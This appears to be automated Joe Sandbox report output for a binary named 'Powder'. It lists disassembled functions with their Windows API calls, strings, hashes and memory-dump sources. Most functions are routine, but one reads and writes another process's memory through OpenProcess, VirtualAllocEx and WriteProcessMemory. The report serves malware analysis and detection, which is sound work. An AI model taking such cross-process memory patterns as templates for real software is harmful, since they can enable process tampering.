API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 64750f83da564da80aa7d60b171eb69343de67841fb70039bc055e639e2779a1
Instruction ID: 96f03ed5d8d68a3fd2c6a31c685a1500b29947b0451c13ca773c32a6b76cba67
Opcode Fuzzy Hash: 64750f83da564da80aa7d60b171eb69343de67841fb70039bc055e639e2779a1
Instruction Fuzzy Hash: 73110476908748BFC7019FA99C44ADB7FACAB46324F144266F824D3350D7B18A8087F0

Function 00CD8E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CD8E3C
GetLastError.KERNEL32(?,00CD8900,?,?,?), ref: 00CD8E46
GetProcessHeap.KERNEL32(00000008,?,?,00CD8900,?,?,?), ref: 00CD8E55
HeapAlloc.KERNEL32(00000000,?,00CD8900,?,?,?), ref: 00CD8E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CD8E73

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: aa514df46ad85651a7bf6d97d7f52acf7532c6edbcfe8a5cf2d4eb32d7360adf
Instruction ID: 07b3b794c0ff4dd316bb4e23d914fa1eec3ba9c11afb9f22d1e9ed8e75a5a4cb
Opcode Fuzzy Hash: aa514df46ad85651a7bf6d97d7f52acf7532c6edbcfe8a5cf2d4eb32d7360adf
Instruction Fuzzy Hash: DD014B74200304BFDB205FA6DC48DAB7FADEF89354B50452AF959C2320DE719D55CA70

Function 00CE57FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00CE5829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE5831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00CE583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE5877

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: c7e99999322b3851c31f1e2ae632de858d0a06a4c4a193f59535b86e3958caaf
Instruction ID: f30d356cf2ac5677e8ea56571fe1bf3fe900c14eb89ed898da3bfd8eea084ebe
Opcode Fuzzy Hash: c7e99999322b3851c31f1e2ae632de858d0a06a4c4a193f59535b86e3958caaf
Instruction Fuzzy Hash: E2015B31C45B1DABCF20AFE6D8489EDBB78BB08715F004155E401F2280CF749591CBA1

Function 00CD8CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CD8CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CD8CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CD8CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00CD8CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CD8D14

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: d1cf52819d3fb14b5fc917c6ceac26344914e2132ae1ad320991bf3099fc4d54
Instruction ID: d52b874c352f9dd75e87d64bf310e60f8e5903879323772e9724c4c51b944d21
Opcode Fuzzy Hash: d1cf52819d3fb14b5fc917c6ceac26344914e2132ae1ad320991bf3099fc4d54
Instruction Fuzzy Hash: 30F0AF34200309BFEB101FA59C89FA73FADEF49754B108026FA04C6290CEA09D86DB70

Function 00CD8D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CD8D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8D75

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8c1acaaadeff93ae492b981390216b8e72a0eafb9381c16c727532800ac72343
Instruction ID: 9cb24f4987e3eedf3ca5d55860e1d88ec38f471203338a6006debb7baaa86aa2
Opcode Fuzzy Hash: 8c1acaaadeff93ae492b981390216b8e72a0eafb9381c16c727532800ac72343
Instruction Fuzzy Hash: EEF08C30240305BFEB112FA5EC88FA73FADEF59754F444116FA55C6290CEA09E86DA70

Function 00CDCD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00CDCD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00CDCDA7
MessageBeep.USER32(00000000), ref: 00CDCDBF
KillTimer.USER32(?,0000040A), ref: 00CDCDDB
EndDialog.USER32(?,00000001), ref: 00CDCDF5

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: fa730aa0c0fa07d093766c09cc39b729a3c704ea8ce182768dc57244501cacc3
Instruction ID: 5f30707fdc4de6acfc82b8177c6ad1bc06aeb09522a5576cc7d59a530abf0ddb
Opcode Fuzzy Hash: fa730aa0c0fa07d093766c09cc39b729a3c704ea8ce182768dc57244501cacc3
Instruction Fuzzy Hash: 4001A770500709ABEB206B50DD8EB967FB9FB00701F00466AF692A12D1DBF0A995CA90

Function 00C8178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00C8179B
StrokeAndFillPath.GDI32(?,?,00CBBBC9,00000000,?), ref: 00C817B7
SelectObject.GDI32(?,00000000), ref: 00C817CA
DeleteObject.GDI32 ref: 00C817DD
StrokePath.GDI32(?), ref: 00C817F8

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 2c4c1d693af945b3ad3abdcb955cd64e55ce4318f80dbbfc22ec99fbea927375
Instruction ID: b0de3b2aaa07fc9d09e160aaab21583b78921cb9fc20ca9969d7d6eedc675021
Opcode Fuzzy Hash: 2c4c1d693af945b3ad3abdcb955cd64e55ce4318f80dbbfc22ec99fbea927375
Instruction Fuzzy Hash: 70F0B634008348BBDB116F26ED4C7993FA8B706366F588258F82AD53F0CB754A96DF64

Function 00CEC9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00CECA75
CoCreateInstance.OLE32(00D13D3C,00000000,00000001,00D13BAC,?), ref: 00CECA8D

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

CoUninitialize.OLE32 ref: 00CECCFA

Strings

.lnk, xrefs: 00CECA09, 00CECA31, 00CECA3B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: c8aa70973d4f961187f06454961a4fc054965655dc38ba92dd5b1eaea1ad882a
Instruction ID: 801f184750da5f88621cc234d14c4296c63dd033ce8162edf48d697d998509be
Opcode Fuzzy Hash: c8aa70973d4f961187f06454961a4fc054965655dc38ba92dd5b1eaea1ad882a
Instruction Fuzzy Hash: 2BA14E71104206AFD704EF64C882EAFB7E8EF94718F40491DF555972A2EB70EE49CB62

Function 00C8E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FE6: std::exception::exception.LIBCMT ref: 00CA101C
Part of subcall function 00CA0FE6: __CxxThrowException@8.LIBCMT ref: 00CA1031

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00C91680: _memmove.LIBCMT ref: 00C916DB

__swprintf.LIBCMT ref: 00C8E598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00C8E431

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: da39d7e1bd598aed2091316cbd9b90a4a7bb4e6abbf740cb375a7d04d0da1803
Instruction ID: 01a237c5795d51846b24fc83fad5416441bc228ad227b1dabb5a471abca26f17
Opcode Fuzzy Hash: da39d7e1bd598aed2091316cbd9b90a4a7bb4e6abbf740cb375a7d04d0da1803
Instruction Fuzzy Hash: C991B071118202AFCB14FF24C896D6EB7A4EF95304F44091DF896972A1EB30EE44DB96

Function 00CA523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00CA52CD

Part of subcall function 00CB0320: __87except.LIBCMT ref: 00CB035B

Strings

pow, xrefs: 00CA52A5, 00CA52C2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: de8d25eb54d06aa90f16d5e0f5fa3d683e2b9b5e62f4d5fd2750c655180177ff
Instruction ID: d8ba918760d9fea7bc820d335890bf2ee17cac3478132ad37cc612f983199c84
Opcode Fuzzy Hash: de8d25eb54d06aa90f16d5e0f5fa3d683e2b9b5e62f4d5fd2750c655180177ff
Instruction Fuzzy Hash: F3515D61E0970397CB11AB14C9413EB7B90DB42754F30CD68F4E2862BAEE748DC5AE96

Function 00CA0654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00CA0699
+, xrefs: 00CA0690

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 7c591f16507719e77fbe21eb166f5c2575c15a25bd384718c3abdc739f80d39d
Instruction ID: 70d50fd15571967cd7b6c3371a350b35366a1299476c6ffa1ca571c76af9ab7f
Opcode Fuzzy Hash: 7c591f16507719e77fbe21eb166f5c2575c15a25bd384718c3abdc739f80d39d
Instruction Fuzzy Hash: 105111755002468FDF119F68C881AFA7BA4EF5A314F284056FDA19B3D0D730AE82EB60

Function 00C9CF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C9CFC2
_memmove.LIBCMT ref: 00C9D060
_memset.LIBCMT ref: 00C9D084

Strings

ERCP, xrefs: 00C9CF2D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 6d4dadb5dd10de253897122334b19392ac3eaa7c710498065528fc0837f0813e
Instruction ID: c743831865beba8def75d391ed02d5b707bb3f2e8653b3a49de2b24460fd069c
Opcode Fuzzy Hash: 6d4dadb5dd10de253897122334b19392ac3eaa7c710498065528fc0837f0813e
Instruction Fuzzy Hash: 6251C2B19007099BDF24CF65C8897AABBF4EF04314F24856EE95BEB250E730D686CB50

Function 00CDA3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE1CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00CD9E4E,?,?,00000034,00000800,?,00000034), ref: 00CE1CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00CDA3F7

Part of subcall function 00CE1C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00CD9E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00CE1CB0

Part of subcall function 00CE1BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00CE1C08
Part of subcall function 00CE1BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00CD9E12,00000034,?,?,00001004,00000000,00000000), ref: 00CE1C18
Part of subcall function 00CE1BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00CD9E12,00000034,?,?,00001004,00000000,00000000), ref: 00CE1C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00CDA464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00CDA4B1

Strings

@, xrefs: 00CDA4C9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 8451ce0e86a23bb90caf330a5b801963e0bebcb7b53d6c54a5edc618a6ba50f6
Instruction ID: 2573d04f832942594f4b41afcd6696394784050b18d60ca59f8c9bcbb4d94cd0
Opcode Fuzzy Hash: 8451ce0e86a23bb90caf330a5b801963e0bebcb7b53d6c54a5edc618a6ba50f6
Instruction Fuzzy Hash: 06413C72A0021CBFDB10DBA4CD85ADEBBB8EF45300F144095FA55B7280DA706F95DBA1

Function 00D079FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00D07A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00D07A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00D07ABE

Strings

SysMonthCal32, xrefs: 00D07A51

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 8cb9635fe324a0b00ec09899df1385038f1447830962c382928af5e04a8b2e64
Instruction ID: 3166fdbfda72538552627413ec17894989c79283cb73d71b8459c287771d4c15
Opcode Fuzzy Hash: 8cb9635fe324a0b00ec09899df1385038f1447830962c382928af5e04a8b2e64
Instruction Fuzzy Hash: 1921BF32A00218BFDF118F54CC86FEE3B69EB48724F154214FE19AB1D0DAB1BC519BA0

Function 00D081B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00D0826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00D0827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00D08284

Strings

msctls_updown32, xrefs: 00D081E9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: b1e6862740f295208f6bb5a12a602992ed31c7b3ca7722e3d4ffc8d98716b650
Instruction ID: b14c840420c319d368eb7ca5b9e7f6ab65a96106c5c8561387e4acdd4d3b319e
Opcode Fuzzy Hash: b1e6862740f295208f6bb5a12a602992ed31c7b3ca7722e3d4ffc8d98716b650
Instruction Fuzzy Hash: C4217CB5604209AFDB10DF64DC85EAB37EDEB5A364B080059FA059B391CB70EC11DBB0

Function 00D072D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00D07360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00D07370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00D07395

Strings

Listbox, xrefs: 00D0732D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: f16e105f83f0d254cb15a456c7f629e36480198113ca17d97f9a56287133ae04
Instruction ID: ff03baf63d2f2b73260ac475c1b081e900d60e7e2fa511e8440710c2728450ce
Opcode Fuzzy Hash: f16e105f83f0d254cb15a456c7f629e36480198113ca17d97f9a56287133ae04
Instruction Fuzzy Hash: 8E21B332614218BFEF118F54CC45FAF37AAEB89754F118124F9149B1D0C671AC519BB0

Function 00CFC6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CC027A,?), ref: 00CFC6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00CFC6F9

Strings

GetSystemWow64DirectoryW, xrefs: 00CFC6F3
kernel32.dll, xrefs: 00CFC6E2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: e64f3d7949200a8f87a634e3ea6a1c02550284bd9c6ec454ecf85a16e07d2581
Instruction ID: 5d4e2850db077cbe5bcb53c613da54c337fe4cbea1f0d93e08d6b9849a5624d4
Opcode Fuzzy Hash: e64f3d7949200a8f87a634e3ea6a1c02550284bd9c6ec454ecf85a16e07d2581
Instruction Fuzzy Hash: CEE08C7824071AAFD7206B25C989AA27AD4AF04314B40842AE995C2210DBB4CCC08F20

Function 00C94BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C94AF7,?), ref: 00C94BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00C94BCA

Strings

kernel32.dll, xrefs: 00C94BB3
Wow64RevertWow64FsRedirection, xrefs: 00C94BC4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

